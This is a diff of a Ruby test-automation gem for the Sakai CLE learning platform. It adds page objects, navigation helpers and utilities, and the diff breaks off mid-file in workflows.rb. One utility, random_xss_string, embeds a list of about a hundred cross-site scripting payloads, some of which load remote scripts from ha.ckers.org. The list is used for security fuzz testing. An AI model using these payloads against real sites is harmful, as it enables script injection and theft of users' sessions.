sakai-cle-test-api 0.0.75 → 0.1.0

data/lib/sakai-cle-test-api/page_objects/user_membership.rb

@@ -0,0 +1,57 @@
+#================
+# User Membership Pages from Administration Workspace
+#================
+
+# User Membership page for admin users - "icon-sakai-usermembership"
+class UserMembership < BasePage
+
+  frame_element
+
+  # Returns an array containing the user names displayed in the search results.
+  def names
+    names = []
+    frm.table(:class=>/listHier/).rows.each do |row|
+      names << row[2].text
+    end
+    names.delete_at(0)
+    return names
+  end
+
+  # Returns the user id of the specified user (assuming that person
+  # appears in the search results list, otherwise this method will
+  # throw an error.)
+  def user_id(name)
+    frm.table(:class=>/listHier/).row(:text=>/#{Regexp.escape(name)}/)[0].text
+  end
+
+  # Returns the user type of the specified user (assuming that person
+  # appears in the search results list, otherwise this method will
+  # throw an error.)
+  def type(name)
+    frm.table(:class=>/listHier/).row(:text=>/#{Regexp.escape(name)}/)[4].text
+  end
+
+  # Returns the text contents of the "instruction" paragraph that
+  # appears when there are no search results.
+  def alert_text
+    frm.p(:class=>"instruction").text
+  end
+
+  element(:user_type) { |b| b.frm.select_list(:id=>"userlistForm:selectType") }
+  element(:user_authority) { |b| b.frm.select_list(:id=>"userlistForm:selectAuthority") }
+  element(:search_field) { |b| b.frm.text_field(:id=>"userlistForm:inputSearchBox") }
+  action(:search) { |b| b.frm.button(:id=>"userlistForm:searchButton").click }
+  action(:clear_search) { |b| b.frm.button(:id=>"userlistForm:clearSearchButton").click }
+  element(:page_size) { |b| b.frm.select_list(:id=>"userlistForm:pager_pageSize") }
+  action(:export_csv) { |b| b.frm.button(:id=>"userlistForm:exportCsv").click }
+  action(:export_excel) { |b| b.frm.button(:id=>"userlistForm:exportXls").click }
+  action(:sort_user_id) { |b| b.frm.link(id=>"userlistForm:_idJsp13:_idJsp14").click }
+  action(:sort_internal_user_id) { |b| b.frm.link(id=>"userlistForm:_idJsp13:_idJsp18").click }
+  action(:sort_name) { |b| b.frm.link(id=>"userlistForm:_idJsp13:_idJsp21").click }
+  action(:sort_email) { |b| b.frm.link(id=>"userlistForm:_idJsp13:_idJsp24").click }
+  action(:sort_type) { |b| b.frm.link(id=>"userlistForm:_idJsp13:_idJsp28").click }
+  action(:sort_authority) { |b| b.frm.link(id=>"userlistForm:_idJsp13:_idJsp31").click }
+  action(:sort_created_on) { |b| b.frm.link(id=>"userlistForm:_idJsp13:_idJsp34").click }
+  action(:sort_modified_on) { |b| b.frm.link(id=>"userlistForm:_idJsp13:_idJsp37").click }
+
+end

data/lib/sakai-cle-test-api/page_objects/users.rb

@@ -0,0 +1,88 @@
+#================
+# Users Pages - From the Workspace
+#================
+
+# The Page for editing User Account details
+class EditUser < BasePage
+
+  frame_element
+
+  def update_details
+    frm.button(:name=>"eventSubmit_doSave").click
+    sleep 1
+  end
+
+  action(:remove_user) { |b| b.frm.link(text=>"Remove User").click }
+  element(:first_name) { |b| b.frm.text_field(:id=>"first-name") }
+  element(:last_name) { |b| b.frm.text_field(:id=>"last-name") }
+  element(:email) { |b| b.frm.text_field(:id=>"email") }
+  element(:create_new_password) { |b| b.frm.text_field(:id=>"pw") }
+  element(:verify_new_password) { |b| b.frm.text_field(:id=>"pw0") }
+  action(:cancel_changes) { |b| b.frm.button(:name=>"eventSubmit_doCancel").click }
+
+end
+
+# The Users page - "icon-sakai-users"
+class Users < BasePage
+
+  frame_element
+
+  def new_user
+    frm.link(:text=>"New User").click
+    CreateNewUser.new @browser
+  end
+
+  # Returns the contents of the Name cell
+  # based on the specified user ID value.
+  def name(user_id)
+    frm.table(:class=>"listHier lines").row(:text=>/#{Regexp.escape(user_id)}/i)[1].text
+  end
+
+  # Returns the contents of the Email cell
+  # based on the specified user ID value.
+  def email(user_id)
+    frm.table(:class=>"listHier lines").row(:text=>/#{Regexp.escape(user_id)}/i)[2].text
+  end
+
+  # Returns the contents of the Type cell
+  # based on the specified user ID value.
+  def type(user_id)
+    frm.table(:class=>"listHier lines").row(:text=>/#{Regexp.escape(user_id)}/i)[3].text
+  end
+
+  def search_button
+    frm.link(:text=>"Search").click
+    frm.table(:class=>"listHier lines").wait_until_present
+    Users.new @browser
+  end
+
+  action(:clear_search) { |b| b.frm.link(text=>"Clear Search").click }
+  element(:search_field) { |b| b.frm.text_field(:id=>"search") }
+  element(:select_page_size) { |b| b.frm.select_list(:name=>"selectPageSize") }
+  action(:next) { |b| b.frm.button(:name=>"eventSubmit_doList_next").click }
+  action(:last) { |b| b.frm.button(:name=>"eventSubmit_doList_last").click }
+  action(:previous) { |b| b.frm.button(:name=>"eventSubmit_doList_prev").click }
+  action(:first) { |b| b.frm.button(:name=>"eventSubmit_doList_first").click }
+
+end
+
+
+# The Create New User page
+class CreateNewUser < BasePage
+
+  frame_element
+
+  def save_details
+    frm.button(:name=>"eventSubmit_doSave").click
+    Users.new(@browser)
+  end
+
+  element(:user_id) { |b| b.frm.text_field(:id=>"eid") }
+  element(:first_name) { |b| b.frm.text_field(:id=>"first-name") }
+  element(:last_name) { |b| b.frm.text_field(:id=>"last-name") }
+  element(:email) { |b| b.frm.text_field(:id=>"email") }
+  element(:create_new_password) { |b| b.frm.text_field(:id=>"pw") }
+  element(:verify_new_password) { |b| b.frm.text_field(:id=>"pw0") }
+  element(:type) { |b| b.frm.select_list(:name=>"type") }
+  action(:cancel_changes) { |b| b.frm.button(:name=>"eventSubmit_doCancel").click }
+end

data/lib/sakai-cle-test-api/rich_text.rb

@@ -0,0 +1,27 @@
+module FCKEditor
+
+  # This has to be defined this way because there several pages
+  # that have multiple rich text editors.
+  def source(editor)
+    editor.div(:title=>/Source/).wait_until_present
+    editor.div(:title=>/Source/).click
+  end
+
+  def select_all(editor)
+    editor.div(:title=>"Select All").wait_until_present
+    editor.div(:title=>"Select All").click
+  end
+
+  def enter_source_text(editor, text)
+    source(editor)
+    editor.text_field(:class=>"SourceField").wait_until_present
+    editor.text_field(:class=>"SourceField").set text
+  end
+
+  def get_source_text(editor)
+    source(editor)
+    editor.text_field(:class=>"SourceField").wait_until_present
+    editor.text_field(:class=>"SourceField").value
+  end
+
+end

data/lib/sakai-cle-test-api/utilities.rb

@@ -1,5 +1,260 @@
+# coding: UTF-8
+
 module Utilities
 
+  # Creates a page object based on the class passed to it.
+  #
+  # @example using a page that has already been visited in a Scenario
+  #   on_page MyPageObject do |page|
+  #     page.name.should == 'rSmart'
+  #   end
+  def on_page(page_class, &block)
+    @current_page = page_class.new(@browser)
+    block.call @current_page if block
+    @current_page
+  end
+
+  # Strips the file name away from the path information.
+  #
+  # This way it's not necessary to define variables for BOTH the
+  # file name and the file path + file name. Just define the
+  # path + name and then use this method to extract only the filename
+  # portion.
+  def get_filename(path_plus_name_string)
+    path_plus_name_string =~ /(?<=\/).+/
+    return $~.to_s
+  end
+
+  # A random string creator that draws from all printable ASCII characters
+  # from 33 to 128. Default length is 10 characters.
+  def random_string(length=10, s="")
+    length.enum_for(:times).inject(s) do |result, index|
+      s << rand(93) + 33
+    end
+  end
+
+  # A random string creator that draws from all printable ASCII and High ASCII characters
+  # from 33 to 256. Default length is 10 characters.
+  def random_high_ascii(length=10, s="")
+    length.enum_for(:times).inject(s) do |result, index|
+      s << rand(223) + 33
+    end
+  end
+
+  # A "friendlier" random string generator. No characters need to be escaped for valid URLs.
+  # Uses no Reserved or "Unsafe" characters.
+  # Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
+  def random_nicelink(length=10)
+    chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
+    (0...length).map { chars[rand(chars.size)]}.join
+  end
+
+  # Returns a string that is properly formatted like an email address.
+  # The string returned defaults to 268 characters long.
+  # Including a number between 1 and 62 will shrink this string by 62 minus the specified
+  # value.
+  def random_email(x=62)
+    x > 62 ? x=62 : x=x
+    chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
+    random_alphanums(1) + (0...x).map { chars[rand(chars.size)]}.join + random_alphanums(1) + "@" + random_alphanums(60) + ".com"
+  end
+
+  # A random string generator that uses all characters
+  # available on an American Qwerty keyboard.
+  def random_alphanums_plus(length=10, s="")
+    chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @  # $% ^ & * ( ) _ + - = { } [ ] \ : " ; ' < > ? , . / }
+    length.times { s << chars[rand(chars.size)] }
+    s.to_s
+  end
+
+  # A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
+  def random_alphanums(length=10, s="")
+    chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
+    length.times { s << chars[rand(chars.size)] }
+    s.to_s
+  end
+
+  # A random string generator that uses only lower case letters.
+  def random_letters(length=10, s="")
+    chars = 'abcdefghjkmnpqrstuvwxyz'
+    length.times { s << chars[rand(chars.size)] }
+    s.to_s
+  end
+
+  # Returns a block of text (of the specified type, see below) containing
+  # the specified number of "words" (each containing between 1 and 16 chars)
+  # randomly spread across the specified number of lines (note that
+  # the method does not allow the line count to be larger than
+  # the word count and will "fix" it if it is).
+  #
+  # If no arguments are provided, the method will return two alphanumeric
+  # "words" on two lines.
+  #
+  # The last argument the method takes will determine the character content
+  # of the string, viz.:
+  #
+  # :alpha => Alphanumeric -> uses the random_alphanums method
+  # :string => uses the random_string method, so chars 33 through 128 will be included
+  # :ascii => All ASCII chars from 33 to 256 are fair game -> uses random_high_ascii
+  def random_multiline(word_count=2, line_count=2, char_type=:alpha)
+    char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)"}
+    if line_count > word_count
+      line_count = word_count - 1
+    end
+    words = []
+    non_words = []
+    word_count.times { words << eval(char_methods[char_type]) } # creating the words, adding to the array
+    (line_count - 1).times { non_words << "\n" } # adding the number of line feeds
+    unless word_count==line_count
+      (word_count - line_count - 1).times { non_words << " " } # adding the right number of spaces
+    end
+    non_words.shuffle! # Have to shuffle the line feeds around!
+    array = words.zip(non_words)
+    array.flatten!
+    return array.join("")
+  end
+
+  # Picks at random from the list of XSS test strings, using
+  # the provided number as size of the list to choose from.
+  # It will randomly pre-pend the string with HTML closing tags.
+  #
+  # The strings are organized by length, with the shorter ones
+  # first. There are 102 strings.
+  def random_xss_string(number=102)
+    if number > 102
+      number = 102
+    end
+    xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">", "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\" &#14; javascript:alert('XSS');\">", "<IMG SRC=javascript:alert(&quot;XSS&quot;)>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert('XSS')\"&gt;</B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
+    x = rand(4)
+    case(x)
+      when 0
+        return xss[rand(number)]
+      when 1
+        return %|"| + xss[rand(number)]
+      when 2
+        return %|">| + xss[rand(number)]
+      when 3
+        return %|>| + xss[rand(number)]
+    end
+
+  end
+
+  # Some date and time helper functions....
+
+  # Returns the value of the last hour as an Integer object, which
+  # eliminates the zero-padding for single-digit hours. 12-hour clock.
+  def last_hour
+    (Time.now - 3600).strftime("%I").to_i
+  end
+
+  # Returns the value of the current hour as an Integer object, which
+  # eliminates the zero-padding for single-digit hours. 12-hour clock.
+  def current_hour
+    Time.now.strftime("%I").to_i
+  end
+
+  # Returns the value of the next hour as an Integer object, which
+  # eliminates the zero-padding for single-digit hours. 12-hour clock.
+  def next_hour
+    (Time.now + 3600).strftime("%I").to_i
+  end
+
+  # Returns a 4-digit Integer object, equal to last year.
+  def last_year
+    (Time.now - (3600*24*365)).strftime("%Y").to_i
+  end
+
+  # Returns a 4-digit Integer object equal to the current year.
+  def current_year
+    (Time.now).strftime("%Y").to_i
+  end
+
+  # Returns an all-caps 3-char string equal to the prior month
+  def last_month
+    months = ["JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"]
+    index = months.index(current_month)
+    return months[index-1]
+  end
+
+  # Returns an all-caps 3-char string equal to the current month
+  def current_month
+    Time.now.strftime("%^b")
+  end
+
+  # Returns an all-caps 3-char string equal to next month
+  def next_month
+    months = ["JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"]
+    index = months.index(current_month)
+    if index < 12
+      return months[index+1]
+    else
+      return months[0]
+    end
+  end
+
+  # Returns a 4-digit Integer object equal to next year.
+  def next_year
+    (Time.now + (3600*24*365)).strftime("%Y").to_i
+  end
+
+  # Returns an Integer object equal to
+  # yesterday's day of the month. The string is converted to
+  # an integer so as to remove the zero-padding from single-digit day values.
+  def yesterday
+    (Time.now - (3600*24)).strftime("%d").to_i
+  end
+
+  # Returns an Integer object equal to
+  # tomorrow's day of the month. The string is converted to
+  # an integer so as to remove the zero-padding from single-digit day values.
+  def tomorrow
+    (Time.now + (3600*24)).strftime("%d").to_i
+  end
+
+  # Takes a time object as the input (e.g., Time.now) and returns
+  # a string formatted in particular ways.
+  # When the specified "type" value is "cle" (or not specified),
+  # The returned string will look like this:
+  # "Jan 9, 2012 1:12 am"
+  # When "oae-message":
+  # "2/8/2012 1:06 PM"
+  # Note the lack of zero-padding for the day of the month and the
+  # hour of the day. The hour value will be for a 12-hour clock.
+  def make_date(time_object, type="cle")
+    case(type)
+      when "cle"
+        month = time_object.strftime("%b ")
+        day = time_object.strftime("%d").to_i
+        year = time_object.strftime(", %Y ")
+        mins = time_object.strftime(":%M %P")
+        hour = time_object.strftime("%l").to_i
+        return month + day.to_s + year + hour.to_s + mins
+      when "oae-message"
+        date = time_object.strftime("%-m/%-d/%Y ")
+        hour = time_object.strftime("%l").to_i
+        mins = time_object.strftime(":%M %p")
+        return date + hour.to_s + mins
+    end
+
+  end
+
+  # returns a hash object containing strings that will, for example,
+  # allow creation of an event starting 15 minutes in the future.
+  # Hour and Day values are Integer objects, not strings, so that
+  # they will not be zero-padded. The :meridian string is lower-case.
+  def in_15_minutes
+    t = Time.now.utc+15*60
+    return {
+        :month_str => t.strftime("%^b"),
+        :month_int => t.strftime("%-m"),
+        :day =>t.strftime("%d").to_i,
+        :year =>t.strftime("%Y").to_i,
+        :hour =>t.strftime("%I").to_i,
+        :minute =>(t-t.sec-t.min%5*60).strftime("%M"),
+        :meridian =>t.strftime("%P")
+    }
+  end
+
   # Formats a date string Sakai-style.
   # Useful for verifying creation dates and such.
   #
@@ -13,4 +268,9 @@ module Utilities
     return month + day.to_s + year + hour.to_s + mins
   end
 
+  # Shorthand method for making a data object for testing.
+  def make data_object_class, opts={}
+    data_object_class.new @browser, opts
+  end
+
 end

data/lib/sakai-cle-test-api/workflows.rb

@@ -0,0 +1,224 @@
+# Workflows is a module containing helper navigation methods
+module Workflows
+
+  def self.menu_link name, opts={}
+    define_method name.to_s do
+      @browser.link(opts).click
+    end
+  end
+
+  # Opens "My Sites" and then clicks on the matching
+  # Site name. Shortens the name used for search so
+  # that truncated names are not a problem.
+  # Should be followed by the Home class.
+  #
+  # Will error out if there are not matching links.
+  def open_my_site_by_name(name)
+    truncated_name = name[0..19]
+    @browser.link(:text, "My Sites").click
+    @browser.link(:text, /#{Regexp.escape(truncated_name)}/).click
+  end
+
+  # Clicks the "Account" link in the Adminstration Workspace
+  # Should be followed by the UserAccount class.
+  #
+  # Throws an error if the link is not present.
+  menu_link :account, :text=>"Account"
+
+  # Clicks the "Aliases" link in the Administration Workspace
+  # menu, then should be followed by the Aliases class.
+  menu_link :aliases, :text=>"Aliases"
+
+  # Clicks the link for the Administration Workspace, then
+  # should be followed by the MyWorkspace class.
+  menu_link :administration_workspace, :text=>"Administration Workspace"
+
+  # Clicks the Announcements link goes to
+  # the Announcements class.
+  menu_link :announcements, :class=>'icon-sakai-announcements'
+
+  # Clicks the Assignments link, goes to
+  # the AssignmentsList class.
+  menu_link :assignments, :class=>"icon-sakai-assignment-grades"
+
+  # BasicLTI class
+  menu_link :basic_lti, :class=>"icon-sakai-basiclti"
+
+  # Blogs class
+  menu_link :blogs, :class=>"icon-sakai-blogwow"
+
+  # Clicks the Blogger link in the Site menu and
+  # instantiates the Blogger Class.
+  menu_link :blogger, :class=>"icon-blogger"
+
+  # Clicks the Calendar link, then instantiates
+  # the Calendar class.
+  menu_link :calendar, :text=>"Calendar"
+
+  menu_link :certification, :text=>"Certification"
+
+  # ChatRoom class
+  menu_link :chat_room, :class=>"icon-sakai-chat"
+
+  menu_link :configuration_viewer, :text=>"Configuration Viewer"
+  menu_link :customizer, :text=>"Customizer"
+
+  # JForum page class.
+  menu_link :discussion_forums, :class=>"icon-sakai-jforum-tool"
+
+  # DropBox class
+  menu_link :drop_box, :class=>"icon-sakai-dropbox"
+
+  menu_link :email, :text=>"Email"
+
+  # Email Archive class
+  menu_link :email_archive, :class=>"icon-sakai-mailbox"
+
+  menu_link :email_template_administration, :text=>"Email Template Administration"
+
+  # EvaluationSystem class
+  menu_link :evaluation_system, :class=>"icon-sakai-rsf-evaluation"
+
+  # Feedback class
+  menu_link :feedback, :class=>"icon-sakai-postem"
+
+  # Forms class
+  menu_link :forms, :text=>"Forms", :class=>"icon-sakai-metaobj"
+
+  # Forums class.
+  menu_link :forums, :text=>"Forums"
+
+  # Glossary Class.
+  menu_link :glossary, :text=>"Glossary"
+
+  # Gradebook Class.
+  menu_link :gradebook, :text=>"Gradebook"
+
+  # Gradebook2 class
+  menu_link :gradebook2, :text=>"Gradebook2"
+
+  menu_link :help, :text=>"Help"
+
+  # Home class--unless the target page happens to be
+  # My Workspace, in which case the MyWorkspace
+  # page should be used.
+  menu_link :home, :text=>"Home"
+
+  # Job Scheduler class.
+  menu_link :job_scheduler, :text=>"Job Scheduler"
+
+  # Lessons class
+  menu_link :lessons, :text=>"Lessons"
+
+  menu_link :lesson_builder, :text=>"Lesson Builder"
+  menu_link :link_tool, :text=>"Link Tool"
+  menu_link :live_virtual_classroom, :text=>"Live Virtual Classroom"
+
+  # Matrices Class
+  menu_link :matrices, :text=>"Matrices"
+
+  # MediaGallery class
+  menu_link :media_gallery, :class=>"icon-sakai-kaltura"
+
+  menu_link :membership, :text=>"Membership"
+  menu_link :memory, :text=>"Memory"
+
+  # Messages class.
+  menu_link :messages, :text=>"Messages"
+
+  menu_link :my_sites, :text=>"My Sites"
+
+  # MyWorkspace Class.
+  menu_link :my_workspace, :text=>"My Workspace"
+
+  # News
+  menu_link :news, :class=>"icon-sakai-news"
+
+  menu_link :online, :text=>"On-Line"
+  menu_link :oauth_providers, :text=>"Oauth Providers"
+  menu_link :oauth_tokens, :text=>"Oauth Tokens"
+  menu_link :openSyllabus, :text=>"OpenSyllabus"
+
+  # Podcasts
+  menu_link :podcasts, :class=>"icon-sakai-podcasts"
+
+  # Polls class
+  menu_link :polls, :class=>"icon-sakai-poll"
+
+  # Portfolios class
+  menu_link :portfolios, :class=>"icon-osp-presentation"
+
+  # PortfolioTemplates
+  menu_link :portfolio_templates, :text=>"Portfolio Templates"
+
+  menu_link :preferences, :text=>"Preferences"
+
+  menu_link :profile, :text=>"Profile"
+
+  # Profile2 class
+  menu_link :profile2, :class=>"icon-sakai-profile2"
+
+  menu_link :realms, :text=>"Realms"
+
+  # Resources class.
+  menu_link :resources, :text=>"Resources"
+
+  # Roster
+  menu_link :roster, :class=>"icon-sakai-site-roster"
+
+  menu_link :rsmart_support, :text=>"rSmart Support"
+
+  # Because "Search" is used in many pages,
+  # The Search button found in the Site Management
+  # Menu must be given the more explicit name
+  menu_link :site_management_search, :class=>"icon-sakai-search"
+
+  # Sections
+  menu_link :sections, :class=>"icon-sakai-sections"
+
+  menu_link :site_archive, :text=>"Site Archive"
+
+  # SiteEditor class.
+  menu_link :site_editor, :text=>"Site Editor"
+
+  # SiteSetup class.
+  menu_link :site_setup, :text=>"Site Setup"
+
+  menu_link :site_statistics, :text=>"Site Statistics"
+
+  # Sites class.
